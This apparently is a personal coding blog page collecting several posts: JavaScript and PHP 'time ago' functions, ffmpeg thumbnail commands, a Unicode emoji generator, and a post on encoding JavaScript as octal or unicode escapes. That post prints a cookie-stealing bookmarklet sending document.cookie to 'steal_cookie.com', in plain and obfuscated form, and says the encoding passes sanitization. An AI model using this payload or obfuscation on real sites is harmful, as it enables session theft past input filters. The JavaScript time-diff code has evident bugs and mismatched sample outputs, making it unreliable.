JavaScript Human-Readable Time Diff (“5 Hours Ago”, “Will Be In A Day”,…)

Some time ago, I’ve wrote an article iCompile – PHP Human-Readable Time Diff (“5 Hours Ago”, “Will Be In A Day”,…),
running the “main action” procedure in a recursive-loop, I could improve the spectrum of the result, so it will include also complex time-periods (“5 hours, 100 milliseconds”, “3 years, 12 days”, “3 days, 14 seconds”, etc…)
among other code improvements :)

[also available in my github’s gist: https://gist.github.com/eladkarako/65b3b395c5c9d5233f104eceeb7cede4]

function human_time_diff(from, to){ /*accept unix-datetime integer, Date object or date string, fallback is current date*/
  "use strict";

  var now, diff;

  /*---*/
  function difference(diff){
    var
         MINUTE_IN_SECONDS = 60
       , HOUR_IN_SECONDS   = 60  * MINUTE_IN_SECONDS
       , DAY_IN_SECONDS    = 24  * HOUR_IN_SECONDS
       , MONTH_IN_SECONDS  = 30  * DAY_IN_SECONDS
       , YEAR_IN_SECONDS   = 365 * DAY_IN_SECONDS
       , since
       , milliseconds, seconds, minutes, hours, days, months, years
       ;

    if(0 === diff){
      since = "0 seconds";
    }
    else if(diff > 0 && diff < 1){
      milliseconds = Math.trunc(diff * 1000);
      since = milliseconds + " " + (1 === milliseconds ? "millisecond" : "milliseconds");
    }
    else if(diff >= 1 && diff < MINUTE_IN_SECONDS){
      seconds = Math.trunc(diff);
      seconds = Math.max(diff, 1);
      since = seconds + " " + (1 === seconds ? "second" : "seconds");
      
      diff = diff - (seconds);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }
    else if(diff >= MINUTE_IN_SECONDS && diff < HOUR_IN_SECONDS){
      minutes = Math.trunc(diff / MINUTE_IN_SECONDS);
      minutes = Math.max(minutes, 1);
      since = minutes + " " + (1 === minutes ? "minute" : "minutes");
      
      diff  = diff - (minutes * MINUTE_IN_SECONDS);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }
    else if(diff >= HOUR_IN_SECONDS && diff < DAY_IN_SECONDS){
      hours = Math.trunc(diff / HOUR_IN_SECONDS);
      hours = Math.max(hours, 1);
      since = hours + " " + (1 === hours ? "hour" : "hours");

      diff  = diff - (hours * HOUR_IN_SECONDS);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }
    else if(diff >= DAY_IN_SECONDS && diff < MONTH_IN_SECONDS){
      days = Math.trunc(diff / DAY_IN_SECONDS);
      days = Math.max(days, 1);
      since = days + " " + (1 === days ? "day" : "days");

      diff  = diff - (days * DAY_IN_SECONDS);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }
    else if(diff >= MONTH_IN_SECONDS && diff < YEAR_IN_SECONDS){
      months = Math.trunc(diff / MONTH_IN_SECONDS);
      months = Math.max(months, 1);
      since = months + " " + (1 === months ? "month" : "months");

      diff  = diff - (months * MONTH_IN_SECONDS);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }
    else if (diff >= YEAR_IN_SECONDS){
      years = Math.trunc(diff / YEAR_IN_SECONDS);
      years = Math.max(diff, 1);
      since = years + " " + (1 === years ? "year" : "years");
      
      diff  = diff - (years * YEAR_IN_SECONDS);
      if(diff > 0)
        since = since + ", " + difference(diff);                             /* calculate leftover time, recursively */
    }

    return since;
  }
  /*---*/

  now  = new Date();

  from = ("number" === typeof from)                                                   ? Math.max(from, 0)      :
         ("string" === typeof from)                                                   ? Number(new Date(from)) :
         ("object" === typeof from && "date" === from.constructor.name.toLowerCase()) ? Number(from)           : Number(now)
                                                                                      ;

  to   = ("number" === typeof to)                                                     ? Math.max(to, 0)        :
         ("string" === typeof to)                                                     ? Number(new Date(to))   :
         ("object" === typeof to && "date" === to.constructor.name.toLowerCase())     ? Number(to)             : Number(now)
  
  if("nan" === String(from).toLowerCase())  throw new Error("Error While Converting Date (first argument)" );
  if("nan" === String(to).toLowerCase())    throw new Error("Error While Converting Date (second argument)");
  
  diff = Math.abs(from - to);
  console.log(from,to,diff);
  return difference(diff);
}


/*
human_time_diff();                                // 0 seconds
human_time_diff("22:15:40");                      // ERROR (invalid date format)
human_time_diff(  Number(new Date()) - 2000  );   // 33 minutes, 20 seconds
human_time_diff( Number(new Date()) - 300 );      // 5 minutes
human_time_diff( Number(new Date()) - 300.123 );  // 5 minutes, 123 milliseconds
*/

FFMPEG – High-Interest Video Thumbnails

  • ffmpeg is capable of measuring the difference between every scene,
    and you may specify you want the difference to be above/below some rate to include that thumbnail.
  • black/white/uni-color screens are common as a transition, and are not a “problem”, we should generate quite a lot of thumbnails, and storing them as JPG (loosely format), which has very high compression rate for uni-color images, web can sort the images by size (later) and just remove that below 1kb images.
  • the same issue can also be addressed by performing quite large jumps into the movie, which in-turn also generate a more story-line variety.
  • Just Good Business:
    – Keeping thumbnails small enough, undistorted (in ratio) can be easily achieved by limiting the width to 200 pixels, together with height-ratio matching and smart-cropping, this way, in-image is mostly undisrupted, cropped without missing important-ingredient and provide unified size.
    – zero-padded output file name can help with sorting on older systems that might sort 10.jpg right after 1.jpg in normal cases (Windows XP/NT and below).
ffmpeg -ss 100 -i my_movie.mp4 -vf "select=gt(scene\,0.1)" -frames:v 50 -filter:v scale=200:-1,crop=iw:ih*0.8,fps=1/10 out%04d.jpg

for example this ~4minutes YouTube Video:

Continue reading

JavaScript Ninja – Easy Unicode Emoji Generator 😁🌠🐬

  • Without calculating offsets and doing the regular-stuff people are doing to generate surrogate-pairs (1) (2),
    this little trick make use of the decimal HTML-Entity of each unicode character :)

  • start up with browsing the about:blank page, with minimal browser windows opened, the following steps will take a lot of processing power…
  • open up the console and run:
    //this is a good example: 🔌
    (function(){
      var a = [], i;
      
      for(i=120000; i<130000; i+=1){ a.push(i); }
    
      a = "&#" + a.join("; &#") + ";";
      
      document.body.style.display="none";
      document.body.innerHTML = a;
      setTimeout(function(){
        document.body.style.display="block";
      },10);
    }());
    

    find a good range by looking at fileformat.info first.
    if you want to copy stuff around, make sure that your editor is pre-defined to Unicode (UTF-16 LE/Little Endian BOM)

  • well that IS embarrassing — apparently webkit has a bug/feature,
    where- while the Unicode-characters still are perfectly representative on the web-page,
    the content is completely un-copy&&paste-able to a notepad, in fact if you’ll try- you’ll just get the spaces (‘ ‘) between characters (funny isn’t?)

    –this is due to the representation of the string on using HTML Entities,
    the reason is probably that,

    for example (decimal) & # 128268; or (hex) & # x1f50c; are not really the surrogate-pair “\uD83D\uDD0C” it is just a placeholder… (or something)…

  • fear NOT, here is a little longer but still quite nice solution…
    this time we are still looping on range, but we’ll going to render REAL surrogate-pair and use some pinning-together we will use String’s from-char-code (which supports surrogate-pairs!)

    basically it is as easy as:

    var a = [], i;
    
    for(i=128000; i<129000; i+=1) a.push(String.fromCharCode(
      ((i - 0x10000) >> 10) | 0xD800
    , ((i - 0x10000) % 0x400) | 0xDC00
    ));
    

    and taking the code far above with the (near) above modification…

    (function(){
    //browse about:blank first, then open up the console and paste the code :)
    var a = [], i;

    for(i=128000; i<129000; i+=1)
    a.push(String.fromCharCode(
    ((i – 0x10000)>> 10) | 0xD800
    , ((i – 0x10000) % 0x400) | 0xDC00
    ));

    a = a.join(” “);

    document.body.style.display=”none”;
    document.body.innerHTML = a;
    setTimeout(function(){
    document.body.style.display=”block”;
    },10);
    }());

  • and…
    result: totally copy&&paste-able

    result:
    totally
    copy&&paste-able

last thing- bidi chars, can mess with your cursor direction when you are copy&&paste’ing around,
the following will delete (no regex!!) each of the “OFFICIAL” Unicode-bidi chars, if any.

(function(){
  //browse about:blank first, then open up the console and paste the code :)
  var a = [], i;
  
  for(i=0; i<30000; i+=1) 
    a.push(String.fromCharCode(i));

  a = a.join(" ").replace("\u2066","").replace("\u2067","").replace("\u2068","").replace("\u2069","").replace("\u200E","").replace("\u200F","").replace("\u061C","").replace("\u202A","").replace("\u202B","").replace("\u202C","").replace("\u202D","").replace("\u202E","");
  
  document.body.style.display="none";
  document.body.innerHTML = a;
  setTimeout(function(){
    document.body.style.display="block";
  },10);
}());

until 65533 (0XFFFD) you can use single value in .fromCharCode(...),
afterwards it is the world of surrogate-pairs :)
icompile.eladkarako.com_unicode_javascript_5

JavaScript Character Encoding As Spoofing, Or Malicious Injections That Are 100% executable, But Totally Unreadable

function string_to_octal(string){
  return string.replace(/./g, function(char, index, whole){
    return 256 > char.charCodeAt(0) ? "\\" + ('0' + char.charCodeAt(0).toString(8)).slice(-3) : unicode_to_string(char);
  });
}
function string_to_unicode(string){
  return string.replace(/./g, function(char, index, whole){
    return "\\u" + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
  });
}
function unicode_to_string(string){
  return string.replace(/[\u0000-\uffff]/g, function(char, index, whole){
    return String.fromCharCode(char.charCodeAt(0).toString(10));
  });
}

test it..
for javascript:(function(){var img = new Image(); img.src="https://steal_cookie.com?cookie=" + encodeURIComponent(document.cookie); return true;}());

either the “prefer octal over unicode”: "\152\141\166\141\163\143\162\151\160\164\072\050\146\165\156\143\164\151\157\156\050\051\173\166\141\162\040\151\155\147\040\075\040\156\145\167\040\111\155\141\147\145\050\051\073\040\151\155\147\056\163\162\143\075\042\150\164\164\160\163\072\057\057\163\164\145\141\154\137\143\157\157\153\151\145\056\143\157\155\077\143\157\157\153\151\145\075\042\040\053\040\145\156\143\157\144\145\125\122\111\103\157\155\160\157\156\145\156\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051\073\040\162\145\164\165\162\156\040\164\162\165\145\073\175\050\051\051\073" (which most of ASCII based code will work quite unify with..)
or just “100% unicode encoding”: "\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0076\u0061\u0072\u0020\u0069\u006d\u0067\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0049\u006d\u0061\u0067\u0065\u0028\u0029\u003b\u0020\u0069\u006d\u0067\u002e\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0073\u0074\u0065\u0061\u006c\u005f\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0063\u006f\u006d\u003f\u0063\u006f\u006f\u006b\u0069\u0065\u003d\u0022\u0020\u002b\u0020\u0065\u006e\u0063\u006f\u0064\u0065\u0055\u0052\u0049\u0043\u006f\u006d\u0070\u006f\u006e\u0065\u006e\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0029\u003b\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0074\u0072\u0075\u0065\u003b\u007d\u0028\u0029\u0029\u003b"

running the following will have same meaning, and it will not actual needed to be translated back, it is totally 100% executable code, but (naturally) a bit more hard to read..
but it DOES sanitize successfully since the character encoding does not differentiate any of the char meaning (other then escaped string – string manipulation).

the idea is that you do not need any conversion-matrix tables, or encrypt/decrypt methods (or any intermediate over just evaluating the string).

PHP Human-Readable Time Diff (“5 Hours Ago”, “Will Be In A Day”,…)

Code Ripped From WordPress Trunk And Modified To Not Requiring Translator Objects (Use Plain en_US Default).


  // Constants for expressing human-readable intervals
  // in their respective number of seconds.
  define('MINUTE_IN_SECONDS', 60);
  define('HOUR_IN_SECONDS', 60 * MINUTE_IN_SECONDS);
  define('DAY_IN_SECONDS', 24 * HOUR_IN_SECONDS);
  define('WEEK_IN_SECONDS', 7 * DAY_IN_SECONDS);
  define('YEAR_IN_SECONDS', 365 * DAY_IN_SECONDS);


  /**
   * Retrieve the plural or single form based on the supplied amount.
   *
   * @param string $single The text that will be used if $number is 1.
   * @param string $plural The text that will be used if $number is not 1.
   * @param int    $number The number to compare against to use either $single or $plural.
   *
   * @return string Either $single or $plural translated text.
   */
  function _n($single, $plural, $number) {
    return 1 === $number ? $single : $plural;
  }

  /**
   * Determines the difference between two timestamps.
   *
   * The difference is returned in a human readable format such as "1 hour",
   * "5 mins", "2 days".
   *
   * @param int|string $from Unix timestamp from which the difference begins.
   * @param int|string $to   Optional. Unix timestamp to end the time difference. Default becomes time() if not set.
   *
   * @return string Human readable time difference.
   */
  function human_time_diff($from, $to = '') {
    if (empty($to)) {
      $to = time();
    }


    $diff = (int)abs($to - $from);

    if ($diff < HOUR_IN_SECONDS) {
      $mins = round($diff / MINUTE_IN_SECONDS);
      if ($mins <= 1)
        $mins = 1;
      /* translators: min=minute */
      $since = sprintf(_n('%s min', '%s mins', $mins), $mins);
    }
    elseif ($diff < DAY_IN_SECONDS && $diff >= HOUR_IN_SECONDS) {
      $hours = round($diff / HOUR_IN_SECONDS);
      if ($hours <= 1)
        $hours = 1;
      $since = sprintf(_n('%s hour', '%s hours', $hours), $hours);
    }
    elseif ($diff < WEEK_IN_SECONDS && $diff >= DAY_IN_SECONDS) {
      $days = round($diff / DAY_IN_SECONDS);
      if ($days <= 1)
        $days = 1;
      $since = sprintf(_n('%s day', '%s days', $days), $days);
    }
    elseif ($diff < 30 * DAY_IN_SECONDS && $diff >= WEEK_IN_SECONDS) {
      $weeks = round($diff / WEEK_IN_SECONDS);
      if ($weeks <= 1)
        $weeks = 1;
      $since = sprintf(_n('%s week', '%s weeks', $weeks), $weeks);
    }
    elseif ($diff < YEAR_IN_SECONDS && $diff >= 30 * DAY_IN_SECONDS) {
      $months = round($diff / (30 * DAY_IN_SECONDS));
      if ($months <= 1)
        $months = 1;
      $since = sprintf(_n('%s month', '%s months', $months), $months);
    }
    elseif ($diff >= YEAR_IN_SECONDS) {
      $years = round($diff / YEAR_IN_SECONDS);
      if ($years <= 1)
        $years = 1;
      $since = sprintf(_n('%s year', '%s years', $years), $years);
    }

    if ($to - $from > 0) {
      $since = 'was ' . $since . ' ago';
    }
    elseif ($to - $from < 0) {
      $since = 'will be in ' . $since;
    }

    return $since;

  }

Try it using the output of time()-9000 for "was 3 hours ago", or time()+9000 for "will be in 3 hours".

f.lux – Eye-Friendly Coding


Ever notice how people texting at night have that eerie blue glow?
Or wake up ready to write down the Next Great Idea, and get blinded by your computer screen?
During the day, computer screens look good